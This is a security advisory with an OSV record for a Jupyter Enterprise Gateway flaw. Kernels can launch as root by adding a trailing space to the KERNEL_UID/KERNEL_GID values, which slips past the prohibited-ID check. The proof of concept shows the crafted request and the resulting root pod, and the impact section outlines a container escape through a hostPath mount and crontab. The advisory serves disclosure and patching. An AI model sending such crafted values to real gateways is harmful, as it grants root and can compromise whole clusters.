PYSEC-2026-363

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:22
VLAI
Details

Summary

Jupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root). This can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted KERNEL_UID or KERNEL_GID value.

The feature is described in the documentation:

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L103-L107

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L88-L92

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/deploy-kubernetes.md?plain=1#L769

Details

The prohibited_uids and prohibited_uids are set based of the OS env var EG_PROHIBITED_UIDS and EG_PROHIBITED_GIDS, and default to the string 0.

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L29-L30

The checks https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L119 look for the user supplied KERNEL_UID / KERNEL_GID string in the prohibited_uids / prohibited_gids strings. These checks can be bypassed by including whitespace, for example the string 0 (trailing space).

The user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace.

PoC

How it is meant to work

Trying 0 gets denied, as expected.

xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0", "KERNEL_GID": "0"}'
HTTP/1.1 403 Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!
Content-Length: 94
Content-Type: application/json
 Date: Mon, 14 Jul 2025 12:57:09 GMT
Server: TornadoServer/6.4.1
X-Content-Type-Options: nosniff
{
    "reason": "Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!",
    "message": ""
}

Exploit bypassing the checks

Using 0 with a trailing space, bypasses the check.

```bash xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0 ", "KERNEL_GID": "0 "}'


HTTP/1.1 201 Created Content-Length: 172 Content-Type: application/json Date: Mon, 14 Jul 2025 14:15:19 GMT Location: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40 Server: TornadoServer/6.4.1 X-Content-Type-Options: nosniff


{ "id": "17eee032-994f-4dd2-8ade-87169c300a40", "name": "python_kubernetes", "last_activity": "2025-07-14T14:15:21.468155Z", "execution_state": "starting", "connections": 0 }


The pod is successfully scheduled.

Inspecting the container we can see it is running as `root`:

```bash
kubectl exec -it pod/bdawg -- bash
(base) root@bdawg3:~# id
uid=0(root) gid=0(root) groups=0(root),100(users)

If we had not supplied the KERNEL_UID / KERNEL_GID the container would have been running as UID:GID 1000:100 (jovyan:users).

### Impact

This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.

Organisations running Jupyter Enterprise Gateway to host Jupyter Kernels on at least Kubernetes clusters (I've tested this), and possibly on any other supported container orchestration systems or systems that utilise the KERNEL_UID and KERNEL_GID variables with the EG_PROHIBITED_UIDS and EG_PROHIBITED_GIDS feature.

Impacted products
Name purl
jupyter-enterprise-gateway pkg:pypi/jupyter-enterprise-gateway

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "jupyter-enterprise-gateway",
        "purl": "pkg:pypi/jupyter-enterprise-gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0rc1"
            },
            {
              "fixed": "3.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.0.0",
        "2.0.0rc1",
        "2.0.0rc2",
        "2.1.0",
        "2.1.1",
        "2.2.0",
        "2.2.0rc1",
        "2.2.0rc2",
        "2.3.0",
        "2.4.0",
        "2.5.0",
        "2.5.1",
        "2.5.2",
        "2.6.0",
        "3.0.0",
        "3.0.0b0",
        "3.0.0rc0",
        "3.0.0rc1",
        "3.1.0",
        "3.2.0",
        "3.2.1",
        "3.2.2",
        "3.2.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44180",
    "GHSA-chq7-94j8-cj28"
  ],
  "details": "### Summary\n\nJupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root).\nThis can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted `KERNEL_UID` or `KERNEL_GID` value.\n\nThe feature is described in the documentation: \n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L103-L107\n \nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L88-L92\n \nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/deploy-kubernetes.md?plain=1#L769\n \n### Details\n\nThe `prohibited_uids` and `prohibited_uids` are set based of the OS env var `EG_PROHIBITED_UIDS` and `EG_PROHIBITED_GIDS`, and default to the string `0`.\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L29-L30\n \nThe checks https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L119 look for the user supplied `KERNEL_UID` / `KERNEL_GID` string in the `prohibited_uids` / `prohibited_gids` strings. These checks can be bypassed by including whitespace, for example the string `0 ` (trailing space).\n\nThe user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace.\n\n### PoC\n\n\n#### How it is meant to work\n\nTrying `0` gets denied, as expected.\n\n```bash\nxh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:=\u0027{\"KERNEL_POD_NAME\":\"bdawg\", \"KERNEL_UID\": \"0\", \"KERNEL_GID\": \"0\"}\u0027\n```\n\n```\nHTTP/1.1 403 Kernel\u0027s UID value of \u00270\u0027 has been denied via EG_PROHIBITED_UIDS!\nContent-Length: 94\nContent-Type: application/json\n Date: Mon, 14 Jul 2025 12:57:09 GMT\nServer: TornadoServer/6.4.1\nX-Content-Type-Options: nosniff\n```\n\n```json\n{\n    \"reason\": \"Kernel\u0027s UID value of \u00270\u0027 has been denied via EG_PROHIBITED_UIDS!\",\n    \"message\": \"\"\n}\n```\n\n#### Exploit bypassing the checks\n\nUsing `0 ` with a trailing space, bypasses the check.\n\n ```bash\nxh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:=\u0027{\"KERNEL_POD_NAME\":\"bdawg\", \"KERNEL_UID\": \"0 \", \"KERNEL_GID\": \"0 \"}\u0027\n```\n\n```\nHTTP/1.1 201 Created\nContent-Length: 172\nContent-Type: application/json\n Date: Mon, 14 Jul 2025 14:15:19 GMT\nLocation: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40\n Server: TornadoServer/6.4.1\nX-Content-Type-Options: nosniff\n```\n\n```\n{\n    \"id\": \"17eee032-994f-4dd2-8ade-87169c300a40\",\n    \"name\": \"python_kubernetes\",\n    \"last_activity\": \"2025-07-14T14:15:21.468155Z\",\n    \"execution_state\": \"starting\",\n    \"connections\": 0\n}\n```\n\nThe pod is successfully scheduled.\n \nInspecting the container we can see it is running as `root`:\n\n```bash\nkubectl exec -it pod/bdawg -- bash\n```\n\n```\n(base) root@bdawg3:~# id\nuid=0(root) gid=0(root) groups=0(root),100(users)\n```\n\nIf we had not supplied the `KERNEL_UID` / `KERNEL_GID` the container would have been running as UID:GID `1000:100` (`jovyan:users`).\n\n ### Impact\n\nThis input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a `hostPath` R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.\n\nOrganisations running Jupyter Enterprise Gateway to host Jupyter Kernels on at least Kubernetes clusters (I\u0027ve tested this), and possibly on any other supported container orchestration systems or systems that utilise the `KERNEL_UID` and `KERNEL_GID` variables with the `EG_PROHIBITED_UIDS` and `EG_PROHIBITED_GIDS` feature.",
  "id": "PYSEC-2026-363",
  "modified": "2026-07-01T20:22:54.817516Z",
  "published": "2026-06-29T11:50:52.278396Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-chq7-94j8-cj28"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jupyter-server/enterprise_gateway"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jupyter-server/enterprise_gateway/releases/tag/v3.3.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/jupyter-enterprise-gateway"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-chq7-94j8-cj28"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44180"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jupyter Enterprise Gateway: ContainerProcessProxy._enforce_prohibited_ids Bypass"
}



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